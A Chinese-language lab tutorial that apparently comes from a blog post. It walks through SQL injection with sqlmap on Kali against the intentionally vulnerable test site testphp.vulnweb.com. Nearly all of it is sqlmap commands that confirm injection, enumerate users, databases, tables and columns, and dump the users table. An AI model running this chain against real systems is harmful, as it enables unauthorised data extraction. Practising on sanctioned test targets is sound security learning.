大家好,今天做了SQL注入漏洞的实验。工具是大家熟悉的Sqlmap,Sqlmap是一款开源的SQL注入漏洞检测与利用神器,没有之一。测试平台是漏洞扫描工具AWVS的测试平台:http://testphp.vulnweb.com,kali系统。
先简单介绍一下Sqlmap工具,这款工具堪称神器,因为支持众多数据库:MySQL,Oracle,PostgreSQL,Microsoft SQL Server, Microsoft Access, IBM DB2,SQLite,Firebird,Sybase,SAP MaxDB, HSQLDB and Informix。支持的参数位置广:GET,POST or Cookie parameters or via the HTTP User-Agent request header。下面介绍一下操作步骤:
一、GET请求方式:
1、找到有数据库交互的功能页面。进入测试平台,在地址栏输入如下网址:http://testphp.vulnweb.com/artists.php?artist=1。在url参数artist=1后加分号“ ’
2、 基本判断这个页面存在数据库注入漏洞。利用这个注入点,根据sqlmap语法,执行这样的命令:
┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1"
3、根据结果显示,GET参数artist is vulnerable(artist是可以注入的)。进一步测试,看看哪些用户,在命令行后加 --users (注意,有空格)。
┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --users
结果显示如图:
4、也有可以加空格--dbs,看看有哪些数据库。
┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs
结果如图:
5、接下来查看当前用户和当前数据库,加入 --current-user --current-db。命令如下:
┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --current-user --current-db
结果如图:
6、接下来读取数据的表信息,命令行后加空格--tables -D "数据库名"
┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --tables -D "acuart"
结果如图:
7、 查看某个表的内容(以users为例),首先读取表的字段信息,命令行如下:
┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --columns -T "users" -D "acuart"
结果如图:
8、 如果查看这张表有多少条数据,命令行如下:
┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --count -T "users" -D "acuart"
结果如图:
9、 那么要读取表达数据内容,执行如下命令行:
┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dump -T "users" -D "acuart"
结果如图:
备注:所有的操作数据都会同步保存在本地的一个文件夹中:#/root/.local/share/sqlmap/output/。
10、如果想读取某条至某条记录,此例读第2条到第4条记录。命令如下:
┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dump -T "users" -D "acuart" --start 2 --stop 4
结果如图:
11、 如果读取数据库所有表,命令如下:
┌──(root💀kali)-[~]
└─# sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dump-all -T "users" -D "acuart"
结果如图:
以上操作是Sqlmap的注入数据库漏洞的部分操作方法。希望对您有所启发和帮助,感谢分享!下期做针对post请求的操作方法!